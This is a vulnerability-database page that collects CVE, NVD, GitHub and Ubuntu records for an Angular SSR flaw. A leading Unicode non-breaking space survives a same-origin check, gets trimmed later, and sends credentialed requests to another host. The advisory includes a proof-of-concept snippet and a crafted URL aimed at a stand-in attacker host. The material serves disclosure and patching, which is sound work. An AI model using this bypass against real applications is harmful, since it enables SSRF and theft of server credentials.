Vulnerability-Lookup

CVE-2026-88056 (GCVE-0-2026-88056)

Vulnerability from cvelistv5 – Published: 2026-09-10 18:42 – Updated: 2026-09-10 18:42

Title

Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

Summary

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.

Severity

8.6 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

7 references

URL	Tags
https://github.com/angular/angular/security/advis…	x_refsource_CONFIRM
https://github.com/angular/angular/commit/3e924cc…	x_refsource_MISC
https://github.com/angular/angular/commit/5aa6d97…	x_refsource_MISC
https://github.com/angular/angular/commit/71e52d1…	x_refsource_MISC
https://github.com/angular/angular/releases/tag/v…	x_refsource_MISC
https://github.com/angular/angular/releases/tag/v…	x_refsource_MISC
https://github.com/angular/angular/releases/tag/v22.1.4	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
angular	angular	Affected: <= 19.2.25 Affected: >= 20.0.0, < 20.3.30 Affected: >= 21.0.0, < 21.2.22 Affected: >= 22.0.0, < 22.1.4	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "angular",
          "vendor": "angular",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 19.2.25"
            },
            {
              "status": "affected",
              "version": "\u003e= 20.0.0, \u003c 20.3.30"
            },
            {
              "status": "affected",
              "version": "\u003e= 21.0.0, \u003c 21.2.22"
            },
            {
              "status": "affected",
              "version": "\u003e= 22.0.0, \u003c 22.1.4"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "PASSIVE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T18:42:34.054Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4"
        },
        {
          "name": "https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c"
        },
        {
          "name": "https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132"
        },
        {
          "name": "https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970"
        },
        {
          "name": "https://github.com/angular/angular/releases/tag/v20.3.30",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/angular/angular/releases/tag/v20.3.30"
        },
        {
          "name": "https://github.com/angular/angular/releases/tag/v21.2.22",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/angular/angular/releases/tag/v21.2.22"
        },
        {
          "name": "https://github.com/angular/angular/releases/tag/v22.1.4",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/angular/angular/releases/tag/v22.1.4"
        }
      ],
      "source": {
        "advisory": "GHSA-f6mr-pjwc-34m4",
        "discovery": "UNKNOWN"
      },
      "title": "Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-88056",
    "datePublished": "2026-09-10T18:42:34.054Z",
    "dateReserved": "2026-09-09T21:22:45.434Z",
    "dateUpdated": "2026-09-10T18:42:34.054Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-88056",
      "date": "2026-09-11",
      "epss": "0.00426",
      "percentile": "0.35918"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-88056\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-09-10T19:17:41.477\",\"lastModified\":\"2026-09-10T19:44:21.980\",\"vulnStatus\":\"Awaiting Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"angular\",\"product\":\"angular\",\"versions\":[{\"version\":\"\u003c= 19.2.25\",\"status\":\"affected\"},{\"version\":\"\u003e= 20.0.0, \u003c 20.3.30\",\"status\":\"affected\"},{\"version\":\"\u003e= 21.0.0, \u003c 21.2.22\",\"status\":\"affected\"},{\"version\":\"\u003e= 22.0.0, \u003c 22.1.4\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":8.6,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"PASSIVE\",\"vulnConfidentialityImpact\":\"HIGH\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"NONE\",\"subConfidentialityImpact\":\"NONE\",\"subIntegrityImpact\":\"NONE\",\"subAvailabilityImpact\":\"NONE\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-918\"}]}],\"references\":[{\"url\":\"https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/angular/angular/releases/tag/v20.3.30\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/angular/angular/releases/tag/v21.2.22\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/angular/angular/releases/tag/v22.1.4\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4\",\"source\":\"security-advisories@github.com\"}]}}"
  }
}

FKIE_CVE-2026-88056

Vulnerability from fkie_nvd - Published: 2026-09-10 19:17 - Updated: 2026-09-10 19:44

Severity

8.6 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c
	security-advisories@github.com	https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132
	security-advisories@github.com	https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970
	security-advisories@github.com	https://github.com/angular/angular/releases/tag/v20.3.30
	security-advisories@github.com	https://github.com/angular/angular/releases/tag/v21.2.22
	security-advisories@github.com	https://github.com/angular/angular/releases/tag/v22.1.4
	security-advisories@github.com	https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "angular",
          "vendor": "angular",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 19.2.25"
            },
            {
              "status": "affected",
              "version": "\u003e= 20.0.0, \u003c 20.3.30"
            },
            {
              "status": "affected",
              "version": "\u003e= 21.0.0, \u003c 21.2.22"
            },
            {
              "status": "affected",
              "version": "\u003e= 22.0.0, \u003c 22.1.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4."
    }
  ],
  "id": "CVE-2026-88056",
  "lastModified": "2026-09-10T19:44:21.980",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-09-10T19:17:41.477",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/angular/angular/releases/tag/v20.3.30"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/angular/angular/releases/tag/v21.2.22"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/angular/angular/releases/tag/v22.1.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-F6MR-PJWC-34M4

Vulnerability from github – Published: 2026-09-10 20:19 – Updated: 2026-09-10 20:19

Summary

Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR

Details

Summary

A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.

Technical Description

When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.

However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.

Impact & Reachability

Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.
Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.

Proof of Concept:

// Interceptor performing same-origin validation
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(req.urlWithParams, trustedOrigin);

if (target.origin !== trustedOrigin.origin) {
  throw new Error('Cross-origin request blocked');
}

// Request passes validation, server attaches sensitive credential:
const authenticatedReq = req.clone({
  headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),
});

// @angular/platform-server previously trimmed the URL, converting it into
// //attacker.example/collect and routing the credential to the attacker.

Workarounds

Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as \u00A0) before performing origin checks or passing them to HttpClient.
Avoid relying solely on new URL(input, trustedOrigin).origin for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.

Severity

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "22.0.0"
            },
            {
              "fixed": "22.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "21.0.0"
            },
            {
              "fixed": "21.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "20.0.0"
            },
            {
              "fixed": "20.3.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "19.2.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T20:19:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA discrepancy between WHATWG URL parsing and Angular SSR\u0027s URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.\n\n### Technical Description\nWhen applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks.\n\nHowever, `@angular/platform-server`\u0027s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript\u0027s `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request.\n\n### Impact \u0026 Reachability\n* **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular\u0027s `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.\n* **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.\n\n\n**Proof of Concept:**\n```ts\n// Interceptor performing same-origin validation\nconst trustedOrigin = new URL(\u0027http://localhost:4000/\u0027);\nconst target = new URL(req.urlWithParams, trustedOrigin);\n\nif (target.origin !== trustedOrigin.origin) {\n  throw new Error(\u0027Cross-origin request blocked\u0027);\n}\n\n// Request passes validation, server attaches sensitive credential:\nconst authenticatedReq = req.clone({\n  headers: req.headers.set(\u0027Authorization\u0027, \u0027Bearer SERVER-SECRET-TOKEN\u0027),\n});\n\n// @angular/platform-server previously trimmed the URL, converting it into\n// //attacker.example/collect and routing the credential to the attacker.\n```\n\n### Workarounds\n* Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\\u00A0`) before performing origin checks or passing them to `HttpClient`.\n* Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.",
  "id": "GHSA-f6mr-pjwc-34m4",
  "modified": "2026-09-10T20:19:43Z",
  "published": "2026-09-10T20:19:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/commit/9339a7a2de437ed93f9cc3da7f32d0100412d599"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/angular/angular"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/releases/tag/v20.3.30"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/releases/tag/v21.2.22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/releases/tag/v22.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR"
}

ubuntu-cve-2026-88056

Vulnerability from osv_ubuntu

Published

2026-09-11 00:00

Modified

2026-09-11 00:00

Summary

Details

(Angular is a development platform for building mobile and desktop web ...)

Severity

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-88056	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-88056	REPORT
	https://github.com/angular/angular/security/advis…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "libjs-angularjs",
            "binary_version": "1.2.28-1ubuntu2+esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:16.04:LTS",
        "name": "angular.js",
        "purl": "pkg:deb/ubuntu/angular.js@1.2.28-1ubuntu2+esm1?arch=source\u0026distro=esm-infra/xenial"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.2.28-1ubuntu2",
        "1.2.28-1ubuntu2+esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "libjs-angularjs",
            "binary_version": "1.5.10-1ubuntu0.1~esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:18.04:LTS",
        "name": "angular.js",
        "purl": "pkg:deb/ubuntu/angular.js@1.5.10-1ubuntu0.1~esm1?arch=source\u0026distro=esm-infra/bionic"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.5.10-1",
        "1.5.10-1ubuntu0.1~esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "libjs-angularjs",
            "binary_version": "1.7.9-1ubuntu0.1~esm1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:Pro:20.04:LTS",
        "name": "angular.js",
        "purl": "pkg:deb/ubuntu/angular.js@1.7.9-1ubuntu0.1~esm1?arch=source\u0026distro=esm-apps/focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.5.10-1",
        "1.7.9-1",
        "1.7.9-1ubuntu0.1~esm1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "libjs-angularjs",
            "binary_version": "1.8.2-2ubuntu0.1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:22.04:LTS",
        "name": "angular.js",
        "purl": "pkg:deb/ubuntu/angular.js@1.8.2-2ubuntu0.1?arch=source\u0026distro=jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.8.2-2",
        "1.8.2-2ubuntu0.1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "libjs-angularjs",
            "binary_version": "1.8.3-1ubuntu0.24.04.1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:24.04:LTS",
        "name": "angular.js",
        "purl": "pkg:deb/ubuntu/angular.js@1.8.3-1ubuntu0.24.04.1?arch=source\u0026distro=noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.8.3-1",
        "1.8.3-1ubuntu0.24.04.1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "libjs-angularjs",
            "binary_version": "1.8.3-3"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "angular.js",
        "purl": "pkg:deb/ubuntu/angular.js@1.8.3-3?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.8.3-3"
      ]
    }
  ],
  "aliases": [],
  "details": "(Angular is a development platform for building mobile and desktop web ...)",
  "id": "UBUNTU-CVE-2026-88056",
  "modified": "2026-09-11T00:00:00Z",
  "published": "2026-09-11T00:00:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-88056"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-88056"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-88056"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
